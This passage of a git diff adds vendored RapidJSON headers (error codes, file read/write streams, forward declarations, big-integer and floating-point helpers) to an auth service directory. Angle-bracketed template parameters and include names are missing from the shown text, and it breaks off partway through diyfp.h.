ParseResult(ParseErrorCode code, size_t offset) : code_(code), offset_(offset) {} + + //! Get the error code. + ParseErrorCode Code() const { return code_; } + //! Get the error offset, if \ref IsError(), 0 otherwise. + size_t Offset() const { return offset_; } + + //! Explicit conversion to \c bool, returns \c true, iff !\ref IsError(). + operator BooleanType() const { return !IsError() ? &ParseResult::IsError : NULL; } + //! Whether the result is an error. + bool IsError() const { return code_ != kParseErrorNone; } + + bool operator==(const ParseResult& that) const { return code_ == that.code_; } + bool operator==(ParseErrorCode code) const { return code_ == code; } + friend bool operator==(ParseErrorCode code, const ParseResult & err) { return code == err.code_; } + + bool operator!=(const ParseResult& that) const { return !(*this == that); } + bool operator!=(ParseErrorCode code) const { return !(*this == code); } + friend bool operator!=(ParseErrorCode code, const ParseResult & err) { return err != code; } + + //! Reset error code. + void Clear() { Set(kParseErrorNone); } + //! Update error code and offset. + void Set(ParseErrorCode code, size_t offset = 0) { code_ = code; offset_ = offset; } + +private: + ParseErrorCode code_; + size_t offset_; +}; + +//! Function pointer type of GetParseError(). +/*! \ingroup RAPIDJSON_ERRORS + + This is the prototype for \c GetParseError_X(), where \c X is a locale. + User can dynamically change locale in runtime, e.g.: +\code + GetParseErrorFunc GetParseError = GetParseError_En; // or whatever + const RAPIDJSON_ERROR_CHARTYPE* s = GetParseError(document.GetParseErrorCode()); +\endcode +*/ +typedef const RAPIDJSON_ERROR_CHARTYPE* (*GetParseErrorFunc)(ParseErrorCode); + +/////////////////////////////////////////////////////////////////////////////// +// ValidateErrorCode + +//! Error codes when validating. +/*! \ingroup RAPIDJSON_ERRORS + \see GenericSchemaValidator +*/ +enum ValidateErrorCode { + kValidateErrors = -1, //!< Top level error code when kValidateContinueOnErrorsFlag set. + kValidateErrorNone = 0, //!< No error. + + kValidateErrorMultipleOf, //!< Number is not a multiple of the 'multipleOf' value. + kValidateErrorMaximum, //!< Number is greater than the 'maximum' value. + kValidateErrorExclusiveMaximum, //!< Number is greater than or equal to the 'maximum' value. + kValidateErrorMinimum, //!< Number is less than the 'minimum' value. + kValidateErrorExclusiveMinimum, //!< Number is less than or equal to the 'minimum' value. + + kValidateErrorMaxLength, //!< String is longer than the 'maxLength' value. + kValidateErrorMinLength, //!< String is longer than the 'maxLength' value. + kValidateErrorPattern, //!< String does not match the 'pattern' regular expression. + + kValidateErrorMaxItems, //!< Array is longer than the 'maxItems' value. + kValidateErrorMinItems, //!< Array is shorter than the 'minItems' value. + kValidateErrorUniqueItems, //!< Array has duplicate items but 'uniqueItems' is true. + kValidateErrorAdditionalItems, //!< Array has additional items that are not allowed by the schema. + + kValidateErrorMaxProperties, //!< Object has more members than 'maxProperties' value. + kValidateErrorMinProperties, //!< Object has less members than 'minProperties' value. + kValidateErrorRequired, //!< Object is missing one or more members required by the schema. + kValidateErrorAdditionalProperties, //!< Object has additional members that are not allowed by the schema. + kValidateErrorPatternProperties, //!< See other errors. + kValidateErrorDependencies, //!< Object has missing property or schema dependencies. + + kValidateErrorEnum, //!< Property has a value that is not one of its allowed enumerated values + kValidateErrorType, //!< Property has a type that is not allowed by the schema.. + + kValidateErrorOneOf, //!< Property did not match any of the sub-schemas specified by 'oneOf'. + kValidateErrorOneOfMatch, //!< Property matched more than one of the sub-schemas specified by 'oneOf'. + kValidateErrorAllOf, //!< Property did not match all of the sub-schemas specified by 'allOf'. + kValidateErrorAnyOf, //!< Property did not match any of the sub-schemas specified by 'anyOf'. + kValidateErrorNot //!< Property matched the sub-schema specified by 'not'. +}; + +//! Function pointer type of GetValidateError(). +/*! \ingroup RAPIDJSON_ERRORS + + This is the prototype for \c GetValidateError_X(), where \c X is a locale. + User can dynamically change locale in runtime, e.g.: +\code + GetValidateErrorFunc GetValidateError = GetValidateError_En; // or whatever + const RAPIDJSON_ERROR_CHARTYPE* s = GetValidateError(validator.GetInvalidSchemaCode()); +\endcode +*/ +typedef const RAPIDJSON_ERROR_CHARTYPE* (*GetValidateErrorFunc)(ValidateErrorCode); + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_ERROR_ERROR_H_ diff --git a/services/service2/src/auth_service/rapidjson/filereadstream.h b/services/service2/src/auth_service/rapidjson/filereadstream.h new file mode 100644 index 0000000..f8bb43c --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/filereadstream.h @@ -0,0 +1,99 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_FILEREADSTREAM_H_ +#define RAPIDJSON_FILEREADSTREAM_H_ + +#include "stream.h" +#include + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +RAPIDJSON_DIAG_OFF(unreachable-code) +RAPIDJSON_DIAG_OFF(missing-noreturn) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! File byte stream for input using fread(). +/*! + \note implements Stream concept +*/ +class FileReadStream { +public: + typedef char Ch; //!< Character type (byte). + + //! Constructor. + /*! + \param fp File pointer opened for read. + \param buffer user-supplied buffer. + \param bufferSize size of buffer in bytes. Must >=4 bytes. + */ + FileReadStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferSize_(bufferSize), bufferLast_(0), current_(buffer_), readCount_(0), count_(0), eof_(false) { + RAPIDJSON_ASSERT(fp_ != 0); + RAPIDJSON_ASSERT(bufferSize >= 4); + Read(); + } + + Ch Peek() const { return *current_; } + Ch Take() { Ch c = *current_; Read(); return c; } + size_t Tell() const { return count_ + static_cast(current_ - buffer_); } + + // Not implemented + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + + // For encoding detection only. + const Ch* Peek4() const { + return (current_ + 4 - !eof_ <= bufferLast_) ? current_ : 0; + } + +private: + void Read() { + if (current_ < bufferLast_) + ++current_; + else if (!eof_) { + count_ += readCount_; + readCount_ = std::fread(buffer_, 1, bufferSize_, fp_); + bufferLast_ = buffer_ + readCount_ - 1; + current_ = buffer_; + + if (readCount_ < bufferSize_) { + buffer_[readCount_] = '\0'; + ++bufferLast_; + eof_ = true; + } + } + } + + std::FILE* fp_; + Ch *buffer_; + size_t bufferSize_; + Ch *bufferLast_; + Ch *current_; + size_t readCount_; + size_t count_; //!< Number of characters read + bool eof_; +}; + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_FILESTREAM_H_ diff --git a/services/service2/src/auth_service/rapidjson/filewritestream.h b/services/service2/src/auth_service/rapidjson/filewritestream.h new file mode 100644 index 0000000..5d89588 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/filewritestream.h @@ -0,0 +1,104 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_FILEWRITESTREAM_H_ +#define RAPIDJSON_FILEWRITESTREAM_H_ + +#include "stream.h" +#include + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(unreachable-code) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Wrapper of C file stream for output using fwrite(). +/*! + \note implements Stream concept +*/ +class FileWriteStream { +public: + typedef char Ch; //!< Character type. Only support char. + + FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) { + RAPIDJSON_ASSERT(fp_ != 0); + } + + void Put(char c) { + if (current_ >= bufferEnd_) + Flush(); + + *current_++ = c; + } + + void PutN(char c, size_t n) { + size_t avail = static_cast(bufferEnd_ - current_); + while (n > avail) { + std::memset(current_, c, avail); + current_ += avail; + Flush(); + n -= avail; + avail = static_cast(bufferEnd_ - current_); + } + + if (n > 0) { + std::memset(current_, c, n); + current_ += n; + } + } + + void Flush() { + if (current_ != buffer_) { + size_t result = std::fwrite(buffer_, 1, static_cast(current_ - buffer_), fp_); + if (result < static_cast(current_ - buffer_)) { + // failure deliberately ignored at this time + // added to avoid warn_unused_result build errors + } + current_ = buffer_; + } + } + + // Not implemented + char Peek() const { RAPIDJSON_ASSERT(false); return 0; } + char Take() { RAPIDJSON_ASSERT(false); return 0; } + size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } + char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + // Prohibit copy constructor & assignment operator. + FileWriteStream(const FileWriteStream&); + FileWriteStream& operator=(const FileWriteStream&); + + std::FILE* fp_; + char *buffer_; + char *bufferEnd_; + char *current_; +}; + +//! Implement specialized version of PutN() with memset() for better performance. +template<> +inline void PutN(FileWriteStream& stream, char c, size_t n) { + stream.PutN(c, n); +} + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_FILESTREAM_H_ diff --git a/services/service2/src/auth_service/rapidjson/fwd.h b/services/service2/src/auth_service/rapidjson/fwd.h new file mode 100644 index 0000000..d62f77f --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/fwd.h @@ -0,0 +1,151 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_FWD_H_ +#define RAPIDJSON_FWD_H_ + +#include "rapidjson.h" + +RAPIDJSON_NAMESPACE_BEGIN + +// encodings.h + +template struct UTF8; +template struct UTF16; +template struct UTF16BE; +template struct UTF16LE; +template struct UTF32; +template struct UTF32BE; +template struct UTF32LE; +template struct ASCII; +template struct AutoUTF; + +template +struct Transcoder; + +// allocators.h + +class CrtAllocator; + +template +class MemoryPoolAllocator; + +// stream.h + +template +struct GenericStringStream; + +typedef GenericStringStream > StringStream; + +template +struct GenericInsituStringStream; + +typedef GenericInsituStringStream > InsituStringStream; + +// stringbuffer.h + +template +class GenericStringBuffer; + +typedef GenericStringBuffer, CrtAllocator> StringBuffer; + +// filereadstream.h + +class FileReadStream; + +// filewritestream.h + +class FileWriteStream; + +// memorybuffer.h + +template +struct GenericMemoryBuffer; + +typedef GenericMemoryBuffer MemoryBuffer; + +// memorystream.h + +struct MemoryStream; + +// reader.h + +template +struct BaseReaderHandler; + +template +class GenericReader; + +typedef GenericReader, UTF8, CrtAllocator> Reader; + +// writer.h + +template +class Writer; + +// prettywriter.h + +template +class PrettyWriter; + +// document.h + +template +class GenericMember; + +template +class GenericMemberIterator; + +template +struct GenericStringRef; + +template +class GenericValue; + +typedef GenericValue, MemoryPoolAllocator > Value; + +template +class GenericDocument; + +typedef GenericDocument, MemoryPoolAllocator, CrtAllocator> Document; + +// pointer.h + +template +class GenericPointer; + +typedef GenericPointer Pointer; + +// schema.h + +template +class IGenericRemoteSchemaDocumentProvider; + +template +class GenericSchemaDocument; + +typedef GenericSchemaDocument SchemaDocument; +typedef IGenericRemoteSchemaDocumentProvider IRemoteSchemaDocumentProvider; + +template < + typename SchemaDocumentType, + typename OutputHandler, + typename StateAllocator> +class GenericSchemaValidator; + +typedef GenericSchemaValidator, void>, CrtAllocator> SchemaValidator; + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_RAPIDJSONFWD_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/biginteger.h b/services/service2/src/auth_service/rapidjson/internal/biginteger.h new file mode 100644 index 0000000..af48738 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/biginteger.h @@ -0,0 +1,297 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_BIGINTEGER_H_ +#define RAPIDJSON_BIGINTEGER_H_ + +#include "../rapidjson.h" + +#if defined(_MSC_VER) && !defined(__INTEL_COMPILER) && defined(_M_AMD64) +#include // for _umul128 +#if !defined(_ARM64EC_) +#pragma intrinsic(_umul128) +#else +#pragma comment(lib,"softintrin") +#endif +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +class BigInteger { +public: + typedef uint64_t Type; + + BigInteger(const BigInteger& rhs) : count_(rhs.count_) { + std::memcpy(digits_, rhs.digits_, count_ * sizeof(Type)); + } + + explicit BigInteger(uint64_t u) : count_(1) { + digits_[0] = u; + } + + template + BigInteger(const Ch* decimals, size_t length) : count_(1) { + RAPIDJSON_ASSERT(length > 0); + digits_[0] = 0; + size_t i = 0; + const size_t kMaxDigitPerIteration = 19; // 2^64 = 18446744073709551616 > 10^19 + while (length >= kMaxDigitPerIteration) { + AppendDecimal64(decimals + i, decimals + i + kMaxDigitPerIteration); + length -= kMaxDigitPerIteration; + i += kMaxDigitPerIteration; + } + + if (length > 0) + AppendDecimal64(decimals + i, decimals + i + length); + } + + BigInteger& operator=(const BigInteger &rhs) + { + if (this != &rhs) { + count_ = rhs.count_; + std::memcpy(digits_, rhs.digits_, count_ * sizeof(Type)); + } + return *this; + } + + BigInteger& operator=(uint64_t u) { + digits_[0] = u; + count_ = 1; + return *this; + } + + BigInteger& operator+=(uint64_t u) { + Type backup = digits_[0]; + digits_[0] += u; + for (size_t i = 0; i < count_ - 1; i++) { + if (digits_[i] >= backup) + return *this; // no carry + backup = digits_[i + 1]; + digits_[i + 1] += 1; + } + + // Last carry + if (digits_[count_ - 1] < backup) + PushBack(1); + + return *this; + } + + BigInteger& operator*=(uint64_t u) { + if (u == 0) return *this = 0; + if (u == 1) return *this; + if (*this == 1) return *this = u; + + uint64_t k = 0; + for (size_t i = 0; i < count_; i++) { + uint64_t hi; + digits_[i] = MulAdd64(digits_[i], u, k, &hi); + k = hi; + } + + if (k > 0) + PushBack(k); + + return *this; + } + + BigInteger& operator*=(uint32_t u) { + if (u == 0) return *this = 0; + if (u == 1) return *this; + if (*this == 1) return *this = u; + + uint64_t k = 0; + for (size_t i = 0; i < count_; i++) { + const uint64_t c = digits_[i] >> 32; + const uint64_t d = digits_[i] & 0xFFFFFFFF; + const uint64_t uc = u * c; + const uint64_t ud = u * d; + const uint64_t p0 = ud + k; + const uint64_t p1 = uc + (p0 >> 32); + digits_[i] = (p0 & 0xFFFFFFFF) | (p1 << 32); + k = p1 >> 32; + } + + if (k > 0) + PushBack(k); + + return *this; + } + + BigInteger& operator<<=(size_t shift) { + if (IsZero() || shift == 0) return *this; + + size_t offset = shift / kTypeBit; + size_t interShift = shift % kTypeBit; + RAPIDJSON_ASSERT(count_ + offset <= kCapacity); + + if (interShift == 0) { + std::memmove(digits_ + offset, digits_, count_ * sizeof(Type)); + count_ += offset; + } + else { + digits_[count_] = 0; + for (size_t i = count_; i > 0; i--) + digits_[i + offset] = (digits_[i] << interShift) | (digits_[i - 1] >> (kTypeBit - interShift)); + digits_[offset] = digits_[0] << interShift; + count_ += offset; + if (digits_[count_]) + count_++; + } + + std::memset(digits_, 0, offset * sizeof(Type)); + + return *this; + } + + bool operator==(const BigInteger& rhs) const { + return count_ == rhs.count_ && std::memcmp(digits_, rhs.digits_, count_ * sizeof(Type)) == 0; + } + + bool operator==(const Type rhs) const { + return count_ == 1 && digits_[0] == rhs; + } + + BigInteger& MultiplyPow5(unsigned exp) { + static const uint32_t kPow5[12] = { + 5, + 5 * 5, + 5 * 5 * 5, + 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5, + 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 * 5 + }; + if (exp == 0) return *this; + for (; exp >= 27; exp -= 27) *this *= RAPIDJSON_UINT64_C2(0X6765C793, 0XFA10079D); // 5^27 + for (; exp >= 13; exp -= 13) *this *= static_cast(1220703125u); // 5^13 + if (exp > 0) *this *= kPow5[exp - 1]; + return *this; + } + + // Compute absolute difference of this and rhs. + // Assume this != rhs + bool Difference(const BigInteger& rhs, BigInteger* out) const { + int cmp = Compare(rhs); + RAPIDJSON_ASSERT(cmp != 0); + const BigInteger *a, *b; // Makes a > b + bool ret; + if (cmp < 0) { a = &rhs; b = this; ret = true; } + else { a = this; b = &rhs; ret = false; } + + Type borrow = 0; + for (size_t i = 0; i < a->count_; i++) { + Type d = a->digits_[i] - borrow; + if (i < b->count_) + d -= b->digits_[i]; + borrow = (d > a->digits_[i]) ? 1 : 0; + out->digits_[i] = d; + if (d != 0) + out->count_ = i + 1; + } + + return ret; + } + + int Compare(const BigInteger& rhs) const { + if (count_ != rhs.count_) + return count_ < rhs.count_ ? -1 : 1; + + for (size_t i = count_; i-- > 0;) + if (digits_[i] != rhs.digits_[i]) + return digits_[i] < rhs.digits_[i] ? -1 : 1; + + return 0; + } + + size_t GetCount() const { return count_; } + Type GetDigit(size_t index) const { RAPIDJSON_ASSERT(index < count_); return digits_[index]; } + bool IsZero() const { return count_ == 1 && digits_[0] == 0; } + +private: + template + void AppendDecimal64(const Ch* begin, const Ch* end) { + uint64_t u = ParseUint64(begin, end); + if (IsZero()) + *this = u; + else { + unsigned exp = static_cast(end - begin); + (MultiplyPow5(exp) <<= exp) += u; // *this = *this * 10^exp + u + } + } + + void PushBack(Type digit) { + RAPIDJSON_ASSERT(count_ < kCapacity); + digits_[count_++] = digit; + } + + template + static uint64_t ParseUint64(const Ch* begin, const Ch* end) { + uint64_t r = 0; + for (const Ch* p = begin; p != end; ++p) { + RAPIDJSON_ASSERT(*p >= Ch('0') && *p <= Ch('9')); + r = r * 10u + static_cast(*p - Ch('0')); + } + return r; + } + + // Assume a * b + k < 2^128 + static uint64_t MulAdd64(uint64_t a, uint64_t b, uint64_t k, uint64_t* outHigh) { +#if defined(_MSC_VER) && defined(_M_AMD64) + uint64_t low = _umul128(a, b, outHigh) + k; + if (low < k) + (*outHigh)++; + return low; +#elif (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) && defined(__x86_64__) + __extension__ typedef unsigned __int128 uint128; + uint128 p = static_cast(a) * static_cast(b); + p += k; + *outHigh = static_cast(p >> 64); + return static_cast(p); +#else + const uint64_t a0 = a & 0xFFFFFFFF, a1 = a >> 32, b0 = b & 0xFFFFFFFF, b1 = b >> 32; + uint64_t x0 = a0 * b0, x1 = a0 * b1, x2 = a1 * b0, x3 = a1 * b1; + x1 += (x0 >> 32); // can't give carry + x1 += x2; + if (x1 < x2) + x3 += (static_cast(1) << 32); + uint64_t lo = (x1 << 32) + (x0 & 0xFFFFFFFF); + uint64_t hi = x3 + (x1 >> 32); + + lo += k; + if (lo < k) + hi++; + *outHigh = hi; + return lo; +#endif + } + + static const size_t kBitCount = 3328; // 64bit * 54 > 10^1000 + static const size_t kCapacity = kBitCount / sizeof(Type); + static const size_t kTypeBit = sizeof(Type) * 8; + + Type digits_[kCapacity]; + size_t count_; +}; + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_BIGINTEGER_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/clzll.h b/services/service2/src/auth_service/rapidjson/internal/clzll.h new file mode 100644 index 0000000..8fc5118 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/clzll.h @@ -0,0 +1,71 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_CLZLL_H_ +#define RAPIDJSON_CLZLL_H_ + +#include "../rapidjson.h" + +#if defined(_MSC_VER) && !defined(UNDER_CE) +#include +#if defined(_WIN64) +#pragma intrinsic(_BitScanReverse64) +#else +#pragma intrinsic(_BitScanReverse) +#endif +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +inline uint32_t clzll(uint64_t x) { + // Passing 0 to __builtin_clzll is UB in GCC and results in an + // infinite loop in the software implementation. + RAPIDJSON_ASSERT(x != 0); + +#if defined(_MSC_VER) && !defined(UNDER_CE) + unsigned long r = 0; +#if defined(_WIN64) + _BitScanReverse64(&r, x); +#else + // Scan the high 32 bits. + if (_BitScanReverse(&r, static_cast(x >> 32))) + return 63 - (r + 32); + + // Scan the low 32 bits. + _BitScanReverse(&r, static_cast(x & 0xFFFFFFFF)); +#endif // _WIN64 + + return 63 - r; +#elif (defined(__GNUC__) && __GNUC__ >= 4) || RAPIDJSON_HAS_BUILTIN(__builtin_clzll) + // __builtin_clzll wrapper + return static_cast(__builtin_clzll(x)); +#else + // naive version + uint32_t r = 0; + while (!(x & (static_cast(1) << 63))) { + x <<= 1; + ++r; + } + + return r; +#endif // _MSC_VER +} + +#define RAPIDJSON_CLZLL RAPIDJSON_NAMESPACE::internal::clzll + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_CLZLL_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/diyfp.h b/services/service2/src/auth_service/rapidjson/internal/diyfp.h new file mode 100644 index 0000000..f7d4653 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/diyfp.h @@ -0,0 +1,261 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +// This is a C++ header-only implementation of Grisu2 algorithm from the publication: +// Loitsch, Florian. "Printing floating-point numbers quickly and accurately with +// integers." ACM Sigplan Notices 45.6 (2010): 233-243. + +#ifndef RAPIDJSON_DIYFP_H_ +#define RAPIDJSON_DIYFP_H_ + +#include "../rapidjson.h" +#include "clzll.h" +#include + +#if defined(_MSC_VER) && defined(_M_AMD64) && !defined(__INTEL_COMPILER) +#include +#if !defined(_ARM64EC_) +#pragma intrinsic(_umul128) +#else +#pragma comment(lib,"softintrin") +#endif +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +#endif + +struct DiyFp { + DiyFp() : f(), e() {} + + DiyFp(uint64_t fp, int exp) : f(fp), e(exp) {} + + explicit DiyFp(double d) { + union { + double d; + uint64_t u64; + } u = { d }; + + int biased_e = static_cast((u.u64 & kDpExponentMask) >> kDpSignificandSize); + uint64_t significand = (u.u64 & kDpSignificandMask); + if (biased_e != 0) { + f = significand + kDpHiddenBit; + e = biased_e - kDpExponentBias; + } + else { + f = significand; + e = kDpMinExponent + 1; + } + } + + DiyFp operator-(const DiyFp& rhs) const { + return DiyFp(f - rhs.f, e); + } + + DiyFp operator*(const DiyFp& rhs) const { +#if defined(_MSC_VER) && defined(_M_AMD64) + uint64_t h; + uint64_t l = _umul128(f, rhs.f, &h); + if (l & (uint64_t(1) << 63)) // rounding + h++; + return DiyFp(h, e + rhs.e + 64); +#elif (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) && defined(__x86_64__) + __extension__ typedef unsigned __int128 uint128; + uint128 p = static_cast(f) * static_cast(rhs.f); + uint64_t h = static_cast(p >> 64); + uint64_t l = static_cast(p); + if (l & (uint64_t(1) << 63)) // rounding + h++; + return DiyFp(h, e + rhs.e + 64); +#else + const uint64_t M32 = 0xFFFFFFFF; + const uint64_t a = f >> 32; + const uint64_t b = f & M32; + const uint64_t c = rhs.f >> 32; + const uint64_t d = rhs.f & M32; + const uint64_t ac = a * c; + const uint64_t bc = b * c; + const uint64_t ad = a * d; + const uint64_t bd = b * d; + uint64_t tmp = (bd >> 32) + (ad & M32) + (bc & M32); + tmp += 1U << 31; /// mult_round + return DiyFp(ac + (ad >> 32) + (bc >> 32) + (tmp >> 32), e + rhs.e + 64); +#endif + } + + DiyFp Normalize() const { + int s = static_cast(clzll(f)); + return DiyFp(f << s, e - s); + } + + DiyFp NormalizeBoundary() const { + DiyFp res = *this; + while (!(res.f & (kDpHiddenBit << 1))) { + res.f <<= 1; + res.e--; + } + res.f <<= (kDiySignificandSize - kDpSignificandSize - 2); + res.e = res.e - (kDiySignificandSize - kDpSignificandSize - 2); + return res; + } + + void NormalizedBoundaries(DiyFp* minus, DiyFp* plus) const { + DiyFp pl = DiyFp((f << 1) + 1, e - 1).NormalizeBoundary(); + DiyFp mi = (f == kDpHiddenBit) ? DiyFp((f << 2) - 1, e - 2) : DiyFp((f << 1) - 1, e - 1); + mi.f <<= mi.e - pl.e; + mi.e = pl.e; + *plus = pl; + *minus = mi; + } + + double ToDouble() const { + union { + double d; + uint64_t u64; + }u; + RAPIDJSON_ASSERT(f <= kDpHiddenBit + kDpSignificandMask); + if (e < kDpDenormalExponent) { + // Underflow. + return 0.0; + } + if (e >= kDpMaxExponent) { + // Overflow. + return std::numeric_limits::infinity(); + } + const uint64_t be = (e == kDpDenormalExponent && (f & kDpHiddenBit) == 0) ? 0 : + static_cast(e + kDpExponentBias); + u.u64 = (f & kDpSignificandMask) | (be << kDpSignificandSize); + return u.d; + } + + static const int kDiySignificandSize = 64; + static const int kDpSignificandSize = 52; + static const int kDpExponentBias = 0x3FF + kDpSignificandSize; + static const int kDpMaxExponent = 0x7FF - kDpExponentBias; + static const int kDpMinExponent = -kDpExponentBias; + static const int kDpDenormalExponent = -kDpExponentBias + 1; + static const uint64_t kDpExponentMask = RAPIDJSON_UINT64_C2(0x7FF00000, 0x00000000); + static const uint64_t kDpSignificandMask = RAPIDJSON_UINT64_C2(0x000FFFFF, 0xFFFFFFFF); + static const uint64_t kDpHiddenBit = RAPIDJSON_UINT64_C2(0x00100000, 0x00000000); + + uint64_t f; + int e; +}; + +inline DiyFp GetCachedPowerByIndex(size_t index) { + // 10^-348, 10^-340, ..., 10^340 + static const uint64_t kCachedPowers_F[] = { + RAPIDJSON_UINT64_C2(0xfa8fd5a0, 0x081c0288), RAPIDJSON_UINT64_C2(0xbaaee17f, 0xa23ebf76), + RAPIDJSON_UINT64_C2(0x8b16fb20, 0x3055ac76), RAPIDJSON_UINT64_C2(0xcf42894a, 0x5dce35ea), + RAPIDJSON_UINT64_C2(0x9a6bb0aa, 0x55653b2d), RAPIDJSON_UINT64_C2(0xe61acf03, 0x3d1a45df), + RAPIDJSON_UINT64_C2(0xab70fe17, 0xc79ac6ca), RAPIDJSON_UINT64_C2(0xff77b1fc, 0xbebcdc4f), + RAPIDJSON_UINT64_C2(0xbe5691ef, 0x416bd60c), RAPIDJSON_UINT64_C2(0x8dd01fad, 0x907ffc3c), + RAPIDJSON_UINT64_C2(0xd3515c28, 0x31559a83), RAPIDJSON_UINT64_C2(0x9d71ac8f, 0xada6c9b5), + RAPIDJSON_UINT64_C2(0xea9c2277, 0x23ee8bcb), RAPIDJSON_UINT64_C2(0xaecc4991, 0x4078536d), + RAPIDJSON_UINT64_C2(0x823c1279, 0x5db6ce57), RAPIDJSON_UINT64_C2(0xc2109436, 0x4dfb5637), + RAPIDJSON_UINT64_C2(0x9096ea6f, 0x3848984f), RAPIDJSON_UINT64_C2(0xd77485cb, 0x25823ac7), + RAPIDJSON_UINT64_C2(0xa086cfcd, 